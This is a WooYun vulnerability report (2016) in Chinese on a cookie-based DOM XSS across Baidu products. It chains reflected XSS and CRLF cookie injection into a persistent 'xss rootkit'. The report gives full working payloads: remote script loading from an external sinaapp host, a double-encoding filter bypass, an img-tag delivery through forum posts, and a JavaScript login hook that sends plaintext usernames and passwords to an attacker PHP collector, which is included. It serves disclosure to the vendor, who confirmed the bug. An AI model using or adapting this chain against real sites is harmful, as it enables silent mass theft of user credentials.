当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0170146

漏洞标题:一个可大规模隐蔽窃取百度账号密码的漏洞(无需点击全线产品)

相关厂商:百度

漏洞作者: wolf

提交时间:2016-01-15 16:14

修复时间:2016-02-27 11:49

公开时间:2016-02-27 11:49

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-15: 细节已通知厂商并且等待厂商处理中
2016-01-15: 厂商已经确认,细节仅向厂商公开
2016-01-25: 细节向核心白帽子及相关领域专家公开
2016-02-04: 细节向普通白帽子公开
2016-02-14: 细节向实习白帽子公开
2016-02-27: 细节向公众公开

简要描述:

xss rookit,百度基本所有核心业务均存在(百度贴吧,百度新闻,百度知道,百度百科,百度音乐等等等等),触发一次,全线中招。

详细说明:

在分析map.baidu.com时发现其代码会eval执行cookie PMS_JT的值

分析漏洞点.jpg


测试

测试漏洞点.jpg


添加PMS_JT的值为alert(1),访问成功执行,确定存在cookie来源的dom xss漏洞,可构造形成xss rookit。
在分析其他百度业务发现,这是一个通用的问题,基本所有的核心业务均存在这个问题。

基本所有产品均存在.jpg


cookie_xss_news.jpg


cookie_xss_map.jpg


cookie_xss_tieba.jpg


cookie_xss_v.jpg


cookie_xss_music.jpg


cookie_xss_waimai.jpg


cookie_xss_zhidao.jpg


cookie_xss_baike.jpg


cookie_xss_vip.jpg


如何体现危害呢,在http://wooyun.org/bugs/wooyun-2016-0167493已经描述,鉴于此漏洞还未公开
这里再重新验证一遍
先构造让其执行我们远端的js,方便测试。
修改PMS_JT的值为

document.write('<script src="//txt888.sinaapp.com/test.js"></script>')


或者

var%20element%3Ddocument.createElement%28%27script%27%29%3Belement.setAttribute%28%27src%27%2C%20%27http%3A%2f%2ftxt888.sinaapp.com%2ftest.js%27%29%3Bdocument.getElementsByTagName%28%22head%22%29.item%280%29.appendChild%28element%29%3B

都可以

测试执行远程js.jpg


成功执行触发
首先要触发此漏洞的前提为能修改cookie的值,有2种漏洞组合可以触发此漏洞。
第一种为利用反射型xss
这里伏宸自动化渗透测试已找到多个baidu.com域下的xss漏洞,拿一个测试一下。
http://m.apistore.baidu.com/astore/mfaqdetail/?tag=0&webTitle=APIStore%E4%BB%8B%E7%BB%8D<img src=1 onerror=alert(1)>
先编写修改cookie js
baidu_test.js

function fSetCookie(c, e, d) {
var a = ";domain=" + d +";path=/" ;
document.cookie = c + "=" + e + a + ";expires=" + new Date(2099, 12, 31).toGMTString();
}
fSetCookie("PMS_JT","document.write('<script src=\"//txt888.sinaapp.com/test.js\"></script>')",".baidu.com")


构造访问

http://m.apistore.baidu.com/astore/mfaqdetail/?tag=0&webTitle=APIStore%E4%BB%8B%E7%BB%8D<srcipt src="//txt888.sinaapp.com/baidu_test.js"></script>


反射型xss测试.jpg


成功修改cookie值
打开tieba.baidu.com 成功执行,其他业务也均成功触发

反射型xss成功.jpg


继续构造,目标为窃取用户明文账号密码
首先分析其登录框

显示登录框.jpg


执行_.Module.use("common/widget/LoginDialog", ["", "userBar"])时将加载登录框
构造窃取代码
baidu_rookit.js

function login_jc(){
a = new Image();
a.src = "http://txt888.sinaapp.com/form_save.php?user=" + document.getElementById("TANGRAM__PSP_8__userName").value + "&password=" + document.getElementById("TANGRAM__PSP_8__password").value;
return true;
}
_.Module.use("common/widget/LoginDialog", ["", "userBar"]);#加载登录框
setTimeout("document.getElementById(\"TANGRAM__PSP_8__form\").setAttribute(\"onsubmit\",\"login_jc();\")",5000);#5秒后增加onsubmit事件


保存代码
form_save.php

<?php
function insert($data){
$mysql = new SaeMysql();
$sql = "insert into test(`data`,`time`) values('$data',now())";
$mysql->runsql($sql);
$mysql->closeDb();
if ($mysql->errno() != 0){
die("Error:" . $mysql->errmsg());
}
}
if (count($_GET)>=1){
$data = json_encode($_GET);
insert($data);
echo 1;
}
?>


访问成功弹出登录框.jpg


打开登录测试,成功执行弹出登录框

成功截取发送.jpg


成功.jpg


成功截取到密码
使用反射型xss需被攻击者打开攻击链接,成功率与隐蔽性都不够,所以我们使用另一种漏洞来组合
第二种为crlf漏洞
这里伏宸自动化渗透测试平台也找到baidu.com域下多个crlf漏洞,拿一个测试
根据漏洞构造添加cookie测试
访问
http://wenku.baidu.com:80/topic/new/href=/%0aset-cookie:future=123123; domain=.baidu.com; path=/%0aa:

clrf_test.jpg


成功设置.baidu.com cookie,根域下所有子域名均可调用,所以只需激活一次,全线产品均可截取
构造加载截取脚本

http://wenku.baidu.com:80/topic/new/href=/%0aset-cookie:PMS_JT=document.write%28%27%3Cscript%20src%3D%22%2f%2f%2ftxt888.sinaapp.com%2fbaidu_rookit.js%22%3E%3C%2fscript%3E%27%29; domain=.baidu.com; path=/%0aa:


clrf_设置利用代码.jpg


成功设置,打开tieba.baidu.com 测试

没反应.jpg


发现无任何反应,为什么呢
再查看

被过滤.jpg


原来//被过滤成/了,导致无法加载我们远端的js
如何绕过呢
我们可以用双重编码的方式绕过
构造

http://wenku.baidu.com:80/topic/new/href=/%0aset-cookie:PMS_JT=document.write%28%27%3Cscript%20src%3D%22%252f%252ftxt888.sinaapp.com%2fbaidu_rookit.js%22%3E%3C%2fscript%3E%27%29; domain=.baidu.com; path=/%0aa:


访问

clrf再构造.jpg


clrf_成功加载弹出.jpg


成功加载执行我们的截取代码
因为crlf设置cookie为get请求,我们可以使用所有可以触发get请求的方式进行攻击,例如<img>标签
<img src="http://wenku.baidu.com:80/topic/new/href=/%0aset-cookie:PMS_JT=document.write%28%27%3Cscript%20src%3D%22%252f%252ftxt888.sinaapp.com%2fbaidu_rookit.js%22%3E%3C%2fscript%3E%27%29; domain=.baidu.com; path=/%0aa:">
测试访问

img_crlf测试.jpg


成功设置cookie
也就是说只要能插入访问外部网络资源的地方就可以插入攻击代码(图片,视频,flash等等),在受害者上网过程中不知不觉中就被窃取账号密码。
测试
例如DZ的论坛
发帖或回帖
插入图片,地址填

http://wenku.baidu.com:80/topic/new/href=/%0aset-cookie:%20PMS_JT=document.write%28%27%3Cscript%20src%3D%22%252f%252ftxt888.sinaapp.com%2fbaidu_rookit.js%22%3E%3C%2fscript%3E%27%29;%20domain=.baidu.com;%20path=/%0aa:#.jpg


注:空格都要转换为%20

dz_插入图片.jpg


成功修改cookie

登录.jpg


测试登录

成功窃取.jpg


成功截取到用户名以及明文密码信息
其不同业务登录框均有细微不同,以上测试截取代码仅为tieba.baidu.com测试,若要全线窃取需编写判断执行不同的窃取代码。
整理:攻击流程,在社交论坛,贴吧,空间等可添加外部资源的地方插入攻击代码(图片),受害者在正常使用论坛查看帖子或其他无意中触发攻击代码,触发后其下次登录百度旗下存在漏洞产品时用户名密码将会被截取发送至攻击者指定的地址中。

漏洞证明:

修复方案:

严记只要是用户可以控制的变量都是有危害的。

版权声明:转载请注明来源 wolf@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-01-15 22:46

厂商回复:

感谢您对百度安全的关注

最新状态:

暂无